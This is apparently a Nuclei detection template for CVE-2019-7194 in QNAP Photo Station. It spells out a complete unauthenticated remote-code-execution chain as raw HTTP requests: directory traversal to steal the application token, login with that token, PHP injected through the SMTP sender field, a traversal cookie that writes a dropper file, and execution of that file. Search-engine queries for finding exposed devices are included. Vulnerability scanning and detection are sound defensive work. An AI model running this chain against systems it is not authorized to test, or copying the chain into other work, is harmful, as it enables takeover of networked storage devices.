id: CVE-2019-7194

info:
  name: QNAP Photo Station < 6.0.3 - Remote Code Execution
  author: x-stp
  severity: critical
  description: |
    QNAP Photo Station versions prior to 6.0.3 contain multiple vulnerabilities that, when chained together, enable unauthenticated remote code execution (RCE).
  reference:
    - https://medium.com/bugbountywriteup/qnap-pre-auth-root-rce-affecting-450k-devices-on-the-internet-d55488d28a05
  classification:
    cvss-score: 9.8
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cve-id: CVE-2019-7194
    cwe-id: CWE-22
    epss-score: 0.93118
    epss-percentile: 0.99783
    cpe: cpe:2.3:a:qnap:photo_station:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: qnap
    product: photo_station
    max-request: 10
    intrusive: true
    shodan-query:
      - content-length:"580 "http server 1.0""
      - http.title:"photo station"
      - http.title:"qnap"
    fofa-query:
      - title="photo station"
      - title="qnap"
    google-query:
      - intitle:"photo station"
      - intitle:"qnap"
  tags: cve,cve2019,qnap,rce,photostation,unauth,injection,lfi,kev,intrusive

variables:
  cleanup_payload: "<?php echo php_uname(); unlink(__FILE__); ?>"
  dropper_filename: "{{to_lower(rand_text_alpha(6))}}"
  username: "{{to_lower(rand_text_alphanumeric(6))}}"
  email_account: "{{username}}@{{to_lower(rand_text_alphanumeric(6))}}.com"
  email_passwd: "{{rand_text_alphanumeric(12)}}"

flow: |
  http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7)

http:
  # Step 1: Set up a fake album slideshow to obtain a usable album_id
  - raw:
      - |
        POST /photo/p/api/album.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        a=setSlideshow&f=qsamplealbum

    extractors:
      - type: regex
        name: album_id
        group: 1
        internal: true
        regex:
          - "<output>([a-zA-Z0-9]+)</output>"

  # Step 2: Use album_id to get access_code and PHPSESSID from slideshow.php
  - raw:
      - |
        GET /photo/slideshow.php?album={{album_id}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: access_code
        group: 1
        regex:
          - "encodeURIComponent\\('([A-Za-z0-9%]+)'\\)"
        internal: true

      - type: regex
        part: header
        name: phpsessid
        group: 1
        regex:
          - "PHPSESSID=([a-z0-9]+);"
        internal: true

  # Step 3: Use directory traversal to extract application token (app_token)
  - raw:
      - |
        POST /photo/p/api/video.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        a=caption&f=UMGObv&album={{album_id}}&ac={{access_code}}&filename=../../../../../share/Multimedia/.@__thumb/ps.app.token

    extractors:
      - type: regex
        name: app_token
        group: 1
        regex:
          - "([a-f0-9]{32})"
        internal: true

  # Step 4: Authenticate using the app_token to get NAS_SID
  - raw:
      - |
        POST /cgi-bin/authLogin.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        app=PHOTO_STATION&auth=1&app_token={{app_token}}

    extractors:
      - type: regex
        part: body
        name: nas_sid
        group: 1
        regex:
          - '<authSid><!\[CDATA\[([a-z0-9]+)\]\]></authSid>'
        internal: true

  # Step 5: Inject self-deleting PHP payload via SMTP config
  - raw:
      - |
        POST /cgi-bin/userConfig.cgi?sid={{nas_sid}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest

        func=addPersonalSmtp&provider_idx=0&sender={{cleanup_payload}}&default=0&smtp_server=0.0.0.0&port=25&security=-1&email_account={{email_account}}&email_passwd={{email_passwd}}

  # Step 6: Trigger slideshow with QMS_SID pointing to dropper path
  - raw:
      - |
        GET /photo/slideshow.php?album=qsamplealbum HTTP/1.1
        Host: {{Hostname}}
        Cookie: QMS_SID=../../../../../../../../../../mnt/ext/opt/photostation2/{{dropper_filename}}.php; PHPSESSID={{phpsessid}}; NAS_SID={{nas_sid}}; DESKTOP=1;

  # Step 7: Execute the dropper (which deletes the file via unlink after poc request)
  - raw:
      - |
        GET /photo/{{dropper_filename}}.php HTTP/1.1
        Host: {{Hostname}}
        Cookie: PHPSESSID={{phpsessid}}; NAS_SID={{nas_sid}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200 && contains(body, 'NASVARS')

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - 'personal_email\|s:\d+:"[^,]*,[^,]*,([^";]+)'
# digest: 4b0a00483046022100a524d6e552786d1e39a8a7c121a3a36da6618369c4b0be3d09f3120b09f2a2c5022100f99d17080b2119ce4af903ac47ee4f08b88344e57f3141c5d6b3c4a0b1b68a80:922c64590222798bb761d5b6d8e72950